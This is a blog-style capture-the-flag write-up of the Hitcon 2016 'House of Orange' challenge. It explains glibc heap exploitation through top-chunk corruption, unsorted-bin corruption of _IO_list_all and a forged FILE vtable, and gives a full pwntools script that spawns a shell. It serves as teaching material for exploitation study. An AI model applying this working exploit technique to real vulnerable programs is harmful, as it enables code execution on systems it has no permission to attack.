Hitcon 2016 House of Orange Writeup

I didn’t get a chance to play the CTF and managed to solve the challenge only very recently. I did have to read the write up first to understand the idea behind the exploit.

The idea behind the exploit is really cool and I wanted to share that.

So here it goes.

As always, check the protections enabled on the binary first.

$ checksec houseoforange
CANARY : ENABLED
FORTIFY : ENABLED
NX : ENABLED
PIE : ENABLED
RELRO : FULL

Well, nothing much to say here.

Moving on the the functioning of the binary, it has got three primary functions. Namely, build, upgrade and see.

Each house is an object of size 0x10 and looks like this

struct house {
char *ptr
char *name;
}

While building a house, the values of price and color are taken from user input. These are stored in a chunk of size 8 ie the ptr attribute. Then a chunk of user given size is malloced and data is read into it. This is the name attribute of the object. The size of the name can be a maximum of 0x1000.

A global variable keeps count of the houses created. We can create a maximum of 4 houses.

A global pointer is used to point to the last house created.

In the upgrade function, we are allowed to edit the price, color and name of the last created house.

In this function, we have a buffer overflow while editing the name of the house.

A global variable is used to keep count of the number of times a house has been edited. This variable is initialized to 0 every time a new house is created.

The see functionality allows us to view the contents of the house object pointed to by the global pointer.

Now on to the exploit method.

Since we do not have a call to free anywhere, we can’t perform any of the usual methods of heap exploitation such as fastbin corruption, House of Einherjar etc.

Also, since there is an upper bound on the size that gets passed to malloc, we cannot use the House of Force in this situation.

So, let’s get started with the idea of the House of Orange.

In a situation where the size of the top chunk is smaller than the requested size, the top chunk gets extended through a call to a function called sysmalloc. Once the top chunk is extended, sysmalloc calls _int_free to free the remaining part of the old top.

So, our idea is to first make the call to _int_free happen.

For that, we need to make sure that the size of the top chunk is smaller than 0x1000.

We can use the overflow in the upgrade functionality to do that.

There are a few conditions that need to be met first.

  1. The size of the top chunk should be larger than 0x10 and smaller than 0x1000.
  2. The prev_inuse bit of the top chunk should be set.
  3. top + top_size should be page aligned.

The top chunk is usually allocated with 0x21000 bytes.

If the size of the top chunk at a point is 0x20f01, we can overwrite that with 0xf01 which satisfies all the requirements.

After we corrupt the top chunk, we need a call to malloc to trigger the call to sysmalloc and eventually the call to _int_free.

Once that’s done, the old top chunk will be added to the free list and the pointer which we get from malloc will be in a new page.

The next allocation, if of appropriate size, will be placed in this chunk that is present in the free list.

Since the chunk in the free list contains pointers to the main arena, we can leak them out using the see functionality to get a libc leak.

And we have a pointer to the heap right after the fd and bk pointers which we can leak out after filling the first 16 bytes using the upgrade and see functionalities.

So, next comes the interesting part.

When malloc detects an error in the linked lists, like a corrupted fd and bk pointers, it aborts and calls a function _IO_flush_all_lockp.

This function is used to close all the file pointers such as stdout, stderr etc.

It does the same by using a global pointer called _IO_list_all that contains the pointer to the stdout file pointer.

The file pointer structures contain a pointer to the next file pointer. The function uses this to iteratively close all the file pointers used.

Now, these file pointers have jump tables that are used if some pre-conditions are met.

So, the idea is to overwrite the _IO_list_all pointer and point it to a location we control.

It’s not really possible with the scenario we have to do the same.

However, we can make sure that one of the file pointers used while iterating will be a memory area that we control.

The idea is to overwrite the _IO_list_all with a pointer to the main_arena.

By correctly setting the size of the chunk in the free list, we can make sure that the next file pointer accessed will be the chunk in the free list.

So, in order to overwrite the _IO_list_all with a pointer to the main_arena, we use the unlink vulnerability.

When a chunk in the free list is to be splitted off to service a malloc request, the code that gets executed is as follows

unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

So, the fd pointer of previous chunk get’s overwritten with an address in the main_arena.

If we set the previous chunk to be _IO_list_all – 0x10, then bck->fd will be the _IO_list_all pointer.

So let’s just do a quick recap.

  • Corrupt top chunk to make it of smaller size.
  • Call malloc with a large value of size to force the call to _int_free
  • Corrupt bck pointer of free chunk to point to _IO_list_all – 0x10.
  • Set size of chunk such that the second file pointer accessed is under users control. (0x61 is one such value)

Okay, once all that is done, the function _IO_flush_all_lockp performs some checks on the file pointer which need to be passed in order to get a shell. You can look up the source code if you’re interested in what they mean. I’ll just list the conditions here.

Suppose the file pointer starts at base_address.

  1. base_address+0xc0 == 1
  2. base_address+0xa0 should contain a pointer that contains two variables such that the first is smaller than the second. These variable should be at an offset of 0x18 and 0x20 from the pointer.
  3. base_address+0xd8 shoule contain the jump table.
  4. jump_table+0x18 should contain the address of the function that we want to be executed.

If we’ve set the value at jump_table+0x18 to be the address of system, then it will be called with the address of the file pointer as argument.

The first 8 bytes of the chunk is the prev_size which we can set to “/bin/sh”.

So, all that’s left is to trigger the whole exploit by calling malloc once more.

And, once that’s done, we have a shell.

Awesome challenge, awesome idea. Here’s my script anyways.

from pwn import *

magic = 0xDDAA
system = 0x45380
io_list_all = 0x3c4520
prompt = "Your choice : "
build, see, upgrade = "1", "2", "3"


def build_house(size, name, price, color):
    p.sendlineafter(prompt, build)
    p.sendlineafter("Length of name :", str(size))
    if len(name) < size:
        name += "\n"
    p.sendafter("Name :", name)
    p.sendlineafter("Price of Orange:", str(price))
    p.sendlineafter("Color of Orange:", str(color))


def see_house():
    p.sendlineafter(prompt, see)
    p.recvuntil("Name of house : ")
    p.recvline()
    return p.recvline().strip()


def upgrade_house(size, name, price, color):
    p.sendlineafter(prompt, upgrade)
    p.sendlineafter("Length of name :", str(size))
    p.sendafter("Name:", name)
    p.sendlineafter("Price of Orange: ", str(price))
    p.sendlineafter("Color of Orange: ", str(color))


if __name__ == "__main__":
    p = process("./houseoforange", env={"LD_PRELOAD": "./libc.so.6"})
    build_house(0x80, 'asdf', 5, 1)
    #
    # Here we corrupt the top chunk
    #
    payload = fit({0xa0: p64(0)+p64(0xf31)})
    upgrade_house(0xb1, payload, 5, 1)
    #
    # This will trigger call to int_free()
    #
    build_house(0x1000, 'dummy', 5, 1)
    build_house(0x400, 'a'*7, 199, 1)
    libc = u64(see_house().ljust(8, "\x00")) - 0x3c4188
    log.success("Leaked libc @ {}".format(hex(libc)))
    system += libc
    io_list_all += libc
    upgrade_house(16, 'a'*15+"\n", 5, 1)
    heap = u64(see_house().ljust(8, "\x00")) - 0x130
    log.success("Leaked heap @ {}".format(hex(heap)))
    payload = fit({0x410: p32(magic)+p32(31),
                   0x420: "/bin/sh\x00",
                   0x428: p64(0x61)+p64(0xdeadbeef)+p64(io_list_all-0x10),
                   0x4c0: p64(heap+0x560),
                   0x4e0: p64(1)+p64(0)*2,
                   0x4f8: p64(heap+0x658),
                   0x500: p64(1)+p64(2)+p64(3)+p64(0)*3,
                   0x530: p64(system)})
    upgrade_house(0x800, payload, 123, 1)
    p.sendlineafter(prompt, build)
    p.interactive()

For education purposes, I’ve put up a PoC as well. You can find it here house_of_orange

Cheers!

Leave a comment